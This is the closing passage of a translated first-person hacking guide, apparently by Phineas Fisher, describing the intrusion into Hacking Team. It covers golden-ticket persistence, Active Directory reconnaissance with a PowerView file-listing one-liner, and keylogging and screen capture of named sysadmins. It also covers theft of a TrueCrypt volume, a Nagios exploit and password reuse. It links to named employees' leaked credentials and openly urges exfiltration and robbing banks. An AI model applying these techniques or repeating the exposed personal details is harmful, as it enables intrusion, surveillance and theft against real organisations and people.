  739.   that you want.
  740.  
  741. 5) runas
  742.  
  743.   This sometimes turns out to be very useful because it doesn't
  744.    require admin privileges. The command is part of Windows, but if
  745.    you dont' have the graphical interface, you can use powershell
  746.   [8].
  747.  
  748. [1] https://www.indetectables.net/viewtopic.php?p=211165
  749. [2] https://adsecurity.org/?page_id=1821
  750. [3] https://github.com/bidord/pykek
  751. [4] https://adsecurity.org/?p=676
  752. [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
  753. [6] https://github.com/n1nj4sec/pupy
  754. [7] http://www.powershellempire.com/?page_id=273
  755. [8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
  756.  
  757. ----[ 13.2 - Persistence ]------------------------------------------
  758.  
  759. Once you have gained access, you want to maintain it. Persistence is
  760. really only a challenge for sons of bitches [hijos de puta] like the
  761. ones in Hacking Team, who want to hack activists or other individuals.
  762. When you're hacking businesses, you don't need persistence because the
  763. business never sleeps. The only 'persistence' I use is in duqu 2's
  764. sense, executing in the RAM of a couple of servers with high rates of
  765. uptime. In the hypothetical case that everything is reset at once, I
  766. have passwords and a golden ticket [1] set aside. You can read more
  767. information about persistence mechanisms for Windows here [2][3][4].
  768. But for hacking businesses, you don't need it, and it raises the risk
  769. of detection.
  770.  
  771. [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-t
  772. icket-howto/
  773. [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-e
  774. mpire/
  775. [3] http://www.hexacorn.com/blog/category/autostart-persistence/
  776. [4] https://blog.netspi.com/tag/persistence/
  777.  
  778. ----[ 13.3 - Internal reconnaissance ]------------------------------
  779.  
  780. The best tool these days for understanding Windows networks is
  781. Powerview [1]. It's worth the trouble to read everything by the author
  782. [2], and above all [3], [4], [5], and [6]. Powershell is, again, very
  783. powerful [7]. But since there are still many 2003 and 2000 servers
  784. without powershell, you should also look the old school way [8], with
  785. tools like netview.exe [9] or the windows "new view" command. Other
  786. techniques that I like are:
  787.  
  788. 1) Download a list archive numbers
  789.  
  790.    With the domain administrator account, you can download all the
  791.    archive numbers in the network with powerview:
  792.    
  793.    Inqvoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
  794.    select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1]
  795.    | select fullname | out-file -append files.txt}
  796.  
  797.    You can then read it at your leisure later on, and choose the ones
  798.    that you want to download.
  799.  
  800. 2) Read emails
  801.  
  802.    As we have already seen, you can download emails with powershell,
  803.    and obtain a lot of useful information.
  804.  
  805. 3) Read sharepoint
  806.  
  807.    This is another place where many businesses have important
  808.    information. You can download it with powershell [10].
  809.  
  810. 4) Active Directory [11]
  811.  
  812.    It holds a lot of useful information about users and computers.
  813.    Without being the domain admin, you can already find a great deal
  814.    of information with powerview and other tools [12]. After becoming
  815.    the domain admin, you should export all the information from AD
  816.    using csvde or some other tools.
  817.  
  818. 5) Spy on the employees
  819.  
  820.    One of my favourite passtimes is stalk the sysadmins. By spying on
  821.    Christian Pozzi (Hacking Team's sysadmin), I gained access to the
  822.   Nagios server, which gave me access to the 'rete sviluppo' (the
  823.   development network with the RCS source code). With a simple
  824.   combination of PowerSploit's Get-Keystrokes and Get-TimedScreenshot
  825.    [13], nishang's Do-Exfiltration, and GPO, I could spy on any
  826.   employee I wanted, or even the entire domain.
  827.  
  828. [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
  829. [2] http://www.harmj0y.net/blog/tag/powerview/
  830. [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
  831. [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
  832. [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
  833. [6] http://www.slideshare.net/harmj0y/i-have-the-powerview
  834. [7] https://adsecurity.org/?p=2535
  835. [8] https://www.youtube.com/watch?v=rpwrKhgMd7E
  836. [9] https://github.com/mubix/netview
  837. [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
  838. [11] https://adsecurity.org/?page_id=41
  839. [12] http://www.darkoperator.com/?tag=Active+Directory
  840. [13] https://github.com/PowerShellMafia/PowerSploit
  841. [14] https://github.com/samratashok/nishang
  842.  
  843. ----[ 14 - Stalking sysadmins ]-------------------------------------
  844.  
  845. Reading the infrastructure's documentation [1], I learned that I still
  846. lacked access to something important -- the 'Rete Sviluppo', an
  847. isolated network that held the source code of RCS. The sysadmins of a
  848. business always have access to everything. I searched through Mauro
  849. Romeo and Christian Pozzi's computers to see how they accessed the
  850. rete sviluppo, and to see if they had other interesting systems that I
  851. should investigate. It was easy to access their computers, since they
  852. were part of the Windows domain that I had adminstrative control over.
  853. Muro Romeo's computer didn't have an open port, so I opened the WMI
  854. port [2] so that I could execute meterpreter [3]. Besides collecting
  855. keystrokes and screencaps with Get-Keystrokes and Get-TimedScreenshot,
  856. I used a lot of metasploit's /gather/ modules, CredMan.ps1 [4], and I
  857. searched the archives [5]. I saw that Pozzi had a Truecrypt volume,
  858. and waited for him to mount it so that I could copy an archive of it.
  859. A lot of people have had a good laugh at Christian Pozzi's weak
  860. passwords (and at Christian Pozzi in general, who offered plenty of
  861. material for comedy [6][7][8][9]). I included them in the dump for a
  862. laugh, and to show how clueless he is. The reality is that mimikatz
  863. and keyloggers got all the passwords as well.
  864.  
  865. [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
  866. [2] http://www.hammer-software.com/wmigphowto.shtml
  867. [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
  868. [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
  869. [5] http://pwnwiki.io/#!presence/windows/find_files.md
  870. [6] http://archive.is/TbaPy
  871. [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
  872. [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
  873. [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
  874.  
  875. ----[ 15 - The bridge ]---------------------------------------------
  876.  
  877. Inside Christian Pozzi's encrypted volume, there was a textfile with a
  878. number of passwords [1]. One of those was for a Fully Automated Nagios
  879. server, which had access to the sviluppo network so that it could
  880. monitor it. I had found the bridge. I only had the password for the
  881. web interface, but I had a public exploit [2] to execute code and
  882. obtain a shell (it's an unauthenticated exploit, but needs a user to
  883. have already initiated a session, using one of the passwords in the
  884. textfile).
  885.  
  886. [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
  887. [2] http://seclists.org/fulldisclosure/2014/Oct/78
  888.  
  889. ----[ 16 - Reusing and resetting passwords ]------------------------
  890.  
  891. Reading the emails, I saw Daniele Milan granting access to the git
  892. repositories. I already had his Windows password, thanks to mimikatz.
  893. I tried it on the git server, and it worked. I tried it with sudo, and
  894. it worked. For the gitlab server, and his twitter account, I used the
  895. 'I forgot my password' function, and accessed the mail server to reset
  896. the password.
  897.  
  898. ----[ 17 - Conclusion ]---------------------------------------------
  899.  
  900. That's it. It's that easy to overthrow an enterprise and put a stop
  901. its human rights abuses. That is the beauty and the asymmetry of
  902. hacking: with just one hundred hours of work, one person can undo
  903. years of work by a multi-million-dollar enterprise. Hacking gives us
  904. the dispossessed the ability to fight and win.
  905.  
  906. Hacking guides usually end with a warning: This information is solely
  907. for educational purposes. Be an ethical hacker. Do not attack
  908. computers without permission. Blah, blah, blah. I'm going to say the
  909. same thing, but with a more rebellious conception of 'ethical'
  910. hacking. Ethical hacking means exfiltrating documents, expropriating
  911. money from the banks, and protecting the computers of the common
  912. people. However, most of the people who call themselves 'ethical
  913. hackers' work only to protect the ones that pay their consulting fees,
  914. and so they usually end up being mercenaries more than hackers.
  915.  
  916.  
  917. Hacking Team saw themselves as belonging to a long line of inspired
  918. Italian design [1]. I see Vincenzetti, his business, and his friends
  919. in politics, in the police, and in government, as belonging to a long
  920. tradition of Italian fascism. I want to dedicate this guide to the
  921. victims of the assault on the Armando Diaz school, and to all those
  922. whose blood has been spilled at the hands of Italian fascism.
  923.  
  924. [1] https://twitter.com/coracurrier/status/618104723263090688
  925.  
  926. ----[ 18 - Contact ]------------------------------------------------
  927.  
  928. To send me spearphishing attempts, write me death threats in Italian
  929. [1][2], and send me 0days granting access banks, corporations,
  930. governments, etc.
  931.  
  932. [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
  933. [2] https://twitter.com/CthulhuSec/status/619459002854977537
  934.  
  935. encrypted emails only, please:
  936. https://securityinabox.org/es/thunderbird_usarenigmail
  937.  
  938. -----BEGIN PGP PUBLIC KEY BLOCK-----
  939.  
  940. mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
  941. vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
  942. 27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
  943. +fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
  944. VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
  945. Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
  946. Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
  947. BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
  948. QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
  949. cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
  950. JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
  951. 4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
  952. X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
  953. VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
  954. oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
  955. n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
  956. Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
  957. WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
  958. jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
  959. CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
  960. OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
  961. LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
  962. JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
  963. Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
  964. D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
  965. =E5+y
  966. -----END PGP PUBLIC KEY BLOCK-----
  967.  
  968.  
  969.  
  970.                       If not you, who? If not now, when?
  971.                 _   _            _      ____             _    _
  972.                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
  973.                | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
  974.                |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
  975.                |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
  976.  
  977.  
  978. by Phineas Fisher
  979. trans. 0xdeba5e12
  980.  
  981. (END)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement